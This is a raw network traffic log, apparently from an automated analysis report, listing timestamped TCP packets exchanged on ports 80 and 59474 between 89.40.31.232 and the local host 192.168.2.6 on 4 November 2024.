Nov 4, 2024 16:52:37.681191921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681197882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681205034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681215048 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681221962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681302071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681308031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681319952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681324959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681330919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681333065 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681338072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681371927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681372881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681415081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681420088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681432009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681437016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681437969 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681443930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681449890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681472063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681476116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681514978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681514978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681550980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681566000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681576014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681577921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681583881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681595087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681601048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681607008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681613922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681619883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681621075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681626081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681632042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681639910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681647062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681668997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681768894 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682202101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682215929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682221889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682234049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682240009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682245970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682256937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682266951 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682336092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682336092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682344913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682353020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682364941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682385921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682394981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682409048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682418108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682421923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682427883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682440996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682446957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682456970 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682459116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682488918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682532072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682538986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682549953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682560921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682562113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682580948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682583094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682600021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682610035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682621002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682627916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682629108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682632923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682637930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682646036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682653904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682656050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682683945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682739973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682744980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682754993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682756901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682769060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682782888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682802916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682806015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682817936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682822943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682830095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682842016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682849884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682852983 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682859898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682909966 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.682940960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682951927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682969093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682975054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682981014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682986975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.682993889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683006048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683012009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683017969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683024883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683032036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683052063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683060884 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683062077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683113098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683135986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683142900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683154106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683160067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683166027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683171988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683178902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683201075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683234930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683382988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683397055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683403015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683414936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683422089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683433056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683439016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683444977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683444977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683451891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683456898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683460951 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683464050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683470011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683481932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683499098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683499098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683506966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683511972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683518887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683525085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683526039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683532000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683542967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683552980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683553934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683562994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683568954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683568954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683576107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683581114 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683583021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683589935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683597088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683610916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683620930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683690071 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683799982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683818102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683820963 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683823109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683830023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683835983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683851004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683856964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683862925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683868885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683872938 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683876991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683902025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683906078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683908939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683922052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683928013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.683933973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683962107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.683962107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684050083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684109926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684257984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684263945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684277058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684283018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684288979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684300900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684307098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684312105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684314013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684319973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684325933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684333086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684344053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684350014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684355021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684355021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684355974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684362888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684367895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684421062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684421062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684428930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684441090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684447050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684453964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684458971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684472084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684488058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684489012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684494972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684506893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684513092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684516907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684520006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684535027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684540987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684545040 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684546947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684561014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684566975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684575081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684576988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684576988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684581041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684587002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684592962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684598923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684604883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684612989 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684739113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684789896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684796095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684808016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684818983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684827089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684834957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684849024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684859991 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684899092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.684954882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684962034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684973001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684978962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684986115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.684998989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685014009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685045004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685053110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685080051 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685128927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685134888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685141087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685147047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685148001 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685154915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685161114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685177088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685179949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685188055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685193062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685199022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685204983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685209990 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685218096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685231924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685239077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685242891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685245037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685262918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685266972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685270071 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685282946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685288906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685292959 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685295105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685301065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685307026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685313940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685328007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685333967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685339928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685339928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685345888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685350895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685358047 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685362101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685400009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685400009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685682058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685688972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685700893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685707092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685832024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685839891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685852051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685858011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685863972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685870886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685874939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685889959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685897112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685897112 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685897112 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685902119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685914040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685926914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685933113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685937881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685940981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685946941 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685951948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685959101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685970068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685973883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.685975075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.685987949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686001062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686031103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686031103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686085939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686198950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686203957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686211109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686216116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686228037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686233997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686240911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686245918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686264992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686265945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686270952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686306953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686369896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.686515093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686521053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.686532974 CET	80	59474	89.40.31.232	192.168.2.6
